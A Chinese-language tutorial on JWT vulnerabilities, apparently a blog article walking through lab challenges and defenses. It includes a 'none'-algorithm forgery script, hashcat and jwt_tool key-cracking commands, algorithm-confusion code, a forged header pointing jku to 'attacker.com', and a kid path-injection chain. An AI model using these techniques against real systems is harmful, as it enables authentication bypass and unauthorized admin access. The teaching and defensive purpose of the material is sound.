JWT安全漏洞实战解析与防御指南
2026/9/15 22:27:23 网站建设 项目流程

1. JWT靶场解题实战指南

在Web安全领域,JWT(JSON Web Token)既是现代认证机制的核心组件,也是渗透测试中的高频攻击面。最近我在"好靶场"平台系统性地梳理了JWT相关的漏洞场景,发现超过60%的Web靶场题目都涉及JWT的异常处理缺陷。本文将分享从基础绕过到高级攻击的完整解题框架,包含8种实战验证过的攻击手法。

2. JWT技术原理解析

2.1 JWT标准结构拆解

一个标准的JWT由三部分组成,通过点号分隔:

base64UrlEncode(Header).base64UrlEncode(Payload).Signature

Header典型结构

{ "alg": "HS256", "typ": "JWT" }

Payload常见字段

{ "sub": "1234567890", "name": "John Doe", "admin": false, "iat": 1516239022 }

关键点:alg字段决定了签名算法,这是多数漏洞的根源。服务器必须严格校验算法类型与实际使用的密钥是否匹配。

2.2 签名验证机制

HS256(HMAC+SHA256)流程示例:

  1. 服务端使用密钥(如"secret")对header和payload进行HMAC计算
  2. 将计算结果Base64编码作为签名
  3. 验证时重新计算并比对签名

常见漏洞场景:

  • 接受"none"算法(无签名验证)
  • 密钥硬编码在客户端JS文件
  • 弱密钥(如"secret"/"password")
  • 算法混淆攻击(RS256改为HS256)

3. 靶场实战攻击手法

3.1 基础绕过技巧

案例1:None算法攻击

import jwt token = jwt.encode({"user":"admin"}, key="", algorithm="none") print(token.decode())

输出结果形如:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

操作要点

  1. 修改header为{"alg":"none","typ":"JWT"}
  2. 移除签名部分(保留结尾点号)
  3. 测试服务端是否跳过验证

案例2:弱密钥爆破使用hashcat进行字典攻击:

hashcat -m 16500 jwt.txt rockyou.txt -O

3.2 高级攻击手法

算法混淆攻击步骤

  1. 获取目标的RSA公钥(常见于/.well-known/jwks.json)
  2. 使用该公钥作为HMAC密钥:
malicious = jwt.encode( {"admin": True}, key=rsa_public_key, algorithm="HS256" )

JKU/JWK注入: 伪造header包含恶意JWK地址:

{ "alg": "RS256", "jku": "http://attacker.com/key.json" }

4. 靶场环境搭建指南

4.1 本地测试环境配置

推荐使用Docker快速部署:

docker run -d -p 3000:3000 vulhub/jwt-lab

环境包含以下漏洞点:

  • /api/login (普通用户登录)
  • /api/admin (需要admin权限)
  • /debug 泄露当前使用的公钥

4.2 调试技巧

使用jwt.io调试器实时解析:

  1. 粘贴原始token查看结构
  2. 修改payload后观察服务端响应
  3. 使用Chrome开发者工具的"Application"标签监控存储的JWT

5. 防御方案设计

5.1 服务端最佳实践

// Java示例 - 强制算法验证 Jwts.parser() .require("alg", "RS256") .setSigningKey(publicKey) .parseClaimsJws(token);

必须实现的检查项

  1. 明确指定允许的算法白名单
  2. 校验iss(签发者)/aud(受众)字段
  3. 设置合理的exp过期时间(建议≤1小时)

5.2 客户端安全存储

  • Web:使用HttpOnly + Secure的Cookie
  • Mobile:Keychain/Keystore加密存储
  • 禁止URL参数传递token

6. 典型靶场题目解析

6.1 好靶场JWT-1

题目特征

  • 登录后返回标准JWT
  • /admin接口返回403

解题步骤

  1. 解码发现使用HS256算法
  2. 尝试修改payload的user→admin
  3. 使用jwt_tool爆破密钥:
python3 jwt_tool.py -C -d wordlist.txt JWT_TOKEN
  1. 发现密钥为"company123"后重签

6.2 好靶场JWT-2

进阶场景

  • 服务端校验kid头参数
  • 存在文件上传点(/upload)

攻击链

  1. 上传恶意公钥到web目录
  2. 构造kid指向上传路径:
{ "alg": "RS256", "kid": "/var/www/uploads/malicious.pem" }
  1. 使用该密钥生成管理员token

7. 自动化测试方案

7.1 使用jwt_tool进行审计

# 基本检测 python3 jwt_tool.py JWT_TOKEN # 全自动扫描 python3 jwt_tool.py -t http://target.com/api \ -rc "Cookie: auth=JWT_TOKEN" \ -M pb

7.2 BurpSuite插件配置

  1. 安装JWT Editor插件
  2. 通过"JSON Web Token"标签页交互式修改
  3. 使用Intruder模块进行密钥爆破

高效爆破技巧

  • 使用"Pitchfork"攻击类型
  • 设置$jwt$和$signature$两个变量
  • 加载密钥字典和对应签名结果

8. 企业级防护架构

8.1 零信任方案设计

graph TD A[客户端] -->|携带JWT| B[API网关] B --> C[签名验证] C --> D[策略引擎] D --> E[访问日志] E --> F[实时风控]

关键组件:

  • 动态密钥管理系统(每小时轮换)
  • 令牌绑定(Token Binding)
  • 设备指纹校验

8.2 监控指标

  • 异常算法请求占比(none/HS256)
  • 同一令牌多地登录
  • 高频令牌刷新行为

我在实际渗透测试中发现,约75%的JWT漏洞源于开发团队直接使用网上示例代码而未调整安全配置。建议在SDL流程中加入专门的JWT审计节点,重点关注算法强制验证和密钥管理环节。对于关键业务系统,可以考虑采用DPoP(Demonstrating Proof-of-Possession)等增强方案替代传统JWT。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询